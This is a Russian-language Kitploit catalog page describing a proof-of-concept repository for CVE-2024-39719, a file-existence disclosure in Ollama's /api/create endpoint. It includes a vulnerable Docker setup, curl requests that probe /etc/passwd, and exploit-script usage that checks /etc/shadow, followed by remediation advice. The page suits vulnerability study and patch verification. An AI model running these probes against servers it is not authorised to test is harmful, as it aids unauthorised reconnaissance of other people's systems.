Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-39719 | Kitploit
Инструменты/GitHubGitHub/srcx404/cve-2024-39719
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ уязвимости раскрытия существования файлов в Ollama (CVE-2024-39719)

中文

Обзор уязвимости

CVE-2024-39719 — это уязвимость раскрытия информации о существовании файлов, затрагивающая Ollama версии 0.3.14 и более ранние. Эта уязвимость позволяет злоумышленникам определять наличие конкретных файлов на сервере через конечную точку API, что потенциально может привести к утечке информации.

Дата публикации: 31 октября 2024 года

Детали уязвимости

Корневая причина

Уязвимость существует в конечной точке /api/create Ollama. Когда злоумышленник вызывает API CreateModel с параметром пути, сервер возвращает разные сообщения об ошибках в зависимости от того, существует ли путь. Такое поведение позволяет злоумышленнику определить, существует ли конкретный файл или каталог на сервере, анализируя сообщения об ошибках.

Корень проблемы в том, что при обработке пользовательского ввода система напрямую раскрывает клиенту ошибки файловой системы, вместо того чтобы должным образом скрывать информацию о существовании пути.

Затронутые версии

Эта уязвимость затрагивает все версии Ollama вплоть до 0.3.14 включительно.

Воздействие

Хотя уязвимость раскрытия существования файлов может изначально казаться не столь серьёзной, она может:

  1. Служить предварительным этапом в более сложных атаках, помогая злоумышленникам собирать информацию о сервере
  2. Использоваться для обнаружения наличия критически важных конфигурационных файлов, сертификатов или файлов с чувствительными данными
  3. Помогать злоумышленникам проводить более целенаправленные атаки
  4. Приводить к утечке информации в определённых средах, например, подтверждая существование конкретных пользователей или особенности системы

Воспроизведение уязвимости

Настройка окружения

  1. Создайте уязвимое окружение Ollama, используя следующий файл Docker Compose:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Запустите сервис:
root@kitploit:~
docker compose up -d
  1. После запуска сервиса вы можете убедиться, что Ollama 0.3.14 работает, обратившись к http://your-ip:11434/.

Шаги воспроизведения

1. Проверка несуществующих файлов

Отправьте запрос с помощью curl, чтобы попытаться получить доступ к несуществующему файлу:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Ответ:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Проверка существующих файлов

Проверьте существующий файл, например /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Ответ:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

Анализируя эти различные сообщения об ошибках, злоумышленник может определить, существует ли целевой путь, получая информацию о структуре файлов на сервере. Обратите внимание, что информация, возвращаемая сервером, может различаться в зависимости от версии.

Устранение уязвимости

Официальное исправление

Ollama исправила эту уязвимость в более новых версиях. Исправления включают:

  1. Стандартизацию обработки ошибок для предотвращения утечки информации о существовании файлов
  2. Внедрение более строгой проверки и фильтрации путей, предоставляемых пользователем
  3. Использование более общих сообщений об ошибках, которые не раскрывают напрямую информацию о файловой системе

Рекомендуемые меры по устранению

  1. Обновите Ollama: Наиболее эффективное решение — обновление до последней версии Ollama.
  2. Контроль доступа: Ограничьте доступ к конечным точкам API, разрешив его только авторизованным пользователям.
  3. Сетевая изоляция: По возможности разворачивайте сервисы Ollama в изолированных сетях, чтобы снизить внешний доступ.
  4. Мониторинг: Усильте мониторинг вызовов API, уделяя особое внимание обнаружению аномальных паттернов доступа к конечной точке /api/create.

Использование эксплойт-скрипта

Предоставленный Python-скрипт позволяет проверить, уязвим ли сервер Ollama к CVE-2024-39719.

Требования

  • Python 3.x
  • Необходимые пакеты: requests, termcolor

Установка

root@kitploit:~
pip install requests termcolor

Использование

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Параметры

  • -u, --url: URL сервера Ollama (обязательно)
  • -f, --file: файл для проверки существования (по умолчанию "/etc/passwd")

Примеры

root@kitploit:~
# Проверка, уязвим ли сервер
python CVE_2024_39719.py -u http://your-ip:11434

# Проверка существования конкретного файла
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Ссылки

  • CVE-2024-39719 в Национальной базе данных уязвимостей
  • Репозиторий Ollama на GitHub
  • Бюллетени безопасности Ollama

Отказ от ответственности

Этот скрипт предоставляется только в образовательных целях и для легитимного тестирования безопасности. Всегда убедитесь, что у вас есть соответствующие полномочия перед тестированием любой системы на уязвимости. Несанкционированное тестирование может нарушать законы и нормативные акты.

Скачать инструмент